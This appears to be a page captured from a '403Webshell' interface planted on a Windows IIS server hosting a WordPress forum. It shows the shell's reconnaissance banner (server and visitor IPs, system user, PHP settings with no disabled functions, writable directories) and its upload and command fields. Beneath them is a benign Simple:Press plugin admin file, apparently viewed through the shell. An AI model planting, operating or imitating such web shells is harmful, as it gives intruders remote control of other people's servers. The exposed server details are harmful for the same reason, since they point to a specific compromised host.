403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/forum/wp-content/plugins/simplepress/admin/panel-themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/forum/wp-content/plugins/simplepress/admin/panel-themes/spa-themes-display.php
<?php
/*
Simple:Press
Admin Themes Display Rendering
$LastChangedDate: 2017-08-05 17:36:04 -0500 (Sat, 05 Aug 2017) $
$Rev: 15488 $
*/

if ( ! defined( 'ABSPATH' ) ) {
	die('Access denied - you cannot directly call this file');
}

function spa_render_themes_panel($formid) {
?>
	<div class="clearboth"></div>

	<div id="sf-root-wrap" class="wrap">
<?php
	spa_render_sidemenu();
?>
		<div id='sfmsgspot'></div>
		<div id="sfmaincontainer">
<?php
	spa_render_themes_container($formid);
?>
		</div>
			<div class="clearboth"></div>
	</div>
<?php
}

function spa_render_themes_container($formid) {
	switch ($formid) {
		case 'theme-list':
			require_once SP_PLUGIN_DIR.'/admin/panel-themes/forms/spa-themes-list-form.php';
			spa_themes_list_form();
			break;

		case 'mobile':
			require_once SP_PLUGIN_DIR.'/admin/panel-themes/forms/spa-themes-mobile-form.php';
			spa_themes_mobile_form();
			break;

		case 'tablet':
			require_once SP_PLUGIN_DIR.'/admin/panel-themes/forms/spa-themes-tablet-form.php';
			spa_themes_tablet_form();
			break;

		case 'editor':
			require_once SP_PLUGIN_DIR.'/admin/panel-themes/forms/spa-themes-editor-form.php';
			spa_themes_editor_form();
			break;

		case 'css':
			require_once SP_PLUGIN_DIR.'/admin/panel-themes/forms/spa-themes-css-form.php';
			spa_themes_css_form();
			break;

		case 'theme-upload':
			require_once SP_PLUGIN_DIR.'/admin/panel-themes/forms/spa-themes-upload-form.php';
			spa_themes_upload_form();
			break;

			# leave this for plugins to add to this panel
		case 'plugin':
			require_once SP_PLUGIN_DIR.'/admin/panel-plugins/forms/spa-plugins-user-form.php';
            $admin = (isset($_GET['admin'])) ? SP()->filters->str($_GET['admin']) : '';
            $save = (isset($_GET['save'])) ? SP()->filters->str($_GET['save']) : '';
            $form = (isset($_GET['form'])) ? SP()->filters->integer($_GET['form']) : '';
            $reload = (isset($_GET['reload'])) ? SP()->filters->str($_GET['reload']) : '';
			spa_plugins_user_form($admin, $save, $form, $reload);
			break;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit